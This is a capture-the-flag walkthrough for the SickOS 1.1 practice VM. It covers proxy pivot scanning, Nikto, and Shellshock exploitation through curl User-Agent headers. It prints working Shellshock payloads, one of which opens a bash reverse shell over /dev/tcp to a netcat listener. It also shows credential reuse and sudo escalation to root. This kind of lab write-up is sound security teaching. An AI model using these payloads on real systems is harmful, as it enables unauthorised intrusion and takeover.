Ready to Start Your Career?

SickOS 1.1 Capture the Flag Walkthrough

aisherwood 's profile image

By: aisherwood

April 29, 2018


CTF Objective: Get /root/a0216ea4d51874464078c618298b1367.txt

OVA link:,132/

Tools and commands used: Netdiscover, Nmap, Nikto, Metasploit, NC, curl, SSH

To start, I ran Netdiscover to find the IP of the SickOS box. From the output, we know that the .1 is the gateway, .100 is the DHCP server (I know this from setting up the virtual network), and .102 is the target box.

netdiscover -r

Next up is an Nmap scan, I went with -sV to get an idea of what I had working for me.

nmap -sV

So from this, we can see we have an attack surface of either SSH or proxy manipulation of some sort. A little research on the squid proxy shows we can use a squid pivot scanner in Metasploit to see what's behind the proxy. We can go in msfconsole and perform the following:

msf > use/auxillary/scanner/http/squid_pivot_scanningmsf > set RHOSTS > set RANGE > set RPORT 3128msf > run

These actions will configure the pivot scanner to check several well-known ports beyond the squid proxy. The output of the scan is as follows:

From this, we know there is some web server over port 80. We can run a simple curl just to see what's on the main page. This may lead us to find out what web software is running and other such information.

Ok, so no information there... We can, however, run a vulnerability scanner through the proxy similarly to how we ran the curl. While there are many unusual items of note, the snippet below is what I found most appealing to take advantage.

nikto --useproxy -h

Next step is to get a working test to ensure that shellshock works and get a POC (proof of concept) working. Before we get the POC working, I'll start a Netcat listener on port 443. This will be used for the shellshock payload to send back information to us.

nc -nlvp 443

Now that we have a listener, we have to get a working POC. We can send the shellshock poc in a curl to the webserver as follows.

curl -H 'User-Agent: () { ignored; }; echo "Shellshock Confirmed" >& /dev/tcp/ 0>&1' -x
Let's go over what we have here. We're doing a curl -H, which is a curl with a custom header line (User-Agent in this case). The () { ignored; };" portion of the curl is performing the "shellshock" part of the exploit. This allows us to enter in arbitrary code. For the test, I simply wrote echo "Shellshock Confirmed". The >& essentially redirects the aforementioned command to /dev/tcp/, which is our Kali box. What's left is just the remnants of the Curl command. The -x specifies the use of a poxy while the following IP specifies the specific URL said to be vulnerable to shellshock in our Nikto scan.

When running this command, we can check back to our listener.

Perfect! Now let's see if we can get a shell by passing in a shell. Instead of "echo "Shellshock Confirmed," I'm going to pass in "/bin/bash -i" This should send a terminal prompt over our way to port 443.

curl -H 'User-Agent: () { ignored; }; /bin/bash -i >& /dev/tcp/ 0>&1' -x

Now we have a shell to work with! Time to check out the web server, which is ordinarily located in /var/www. Let's see what we got. Looking at the results below, we have a couple of items of interest. The file seems interesting. The index.php was just that "<h1>Bleh....</h1>" line from earlier. Robots.txt doesn't include any hints. Going into the wolfcms folder looks a lot more beneficial.

The config.php file seems to be the key to the puzzle. We can see a user of root with a password of john@123.

My first thought was to check to see if 3306 was open on the other side of the proxy. This may lead to easy database access over port 3306. My squid pivot scan from earlier did not cover 3306 so I just ran it again specifically on that port.

Well looks like we're out of luck going to the database manually. My next thought would be to access the CMS over port 80 and perhaps use that as a login. To connect to the CMS (which looking back I probably should have checked out even before the Shellshock exploit), I configured FireFox to go through the proxy via the network settings. Using my limited shell on the SickOS box, I looked for a probable directory. We can go to and see the webpage!

After some research, I found that the WolfCMS admin login page is on /wolfcms/?admin/.

Unfortunately, the SQL database user/password combination did not let us in. To find additional users to test, I went back to my limited shell and found the user sickos in /home/. This did not work either. I then tried the root/john@123 password combination through SSH to see if that would get us root (again, should have tried this much earlier). This lead nowhere... but what DID work is SSH through user sickos and password john@123. Password reuse!

I first tried to get root via just switching users, but the john@123 password doesn't check out. I ran sudo -l to check my user permissions. It turns out; I have a lot of access to a regular user. I can type in su - and tada! Here's the flag:

Schedule Demo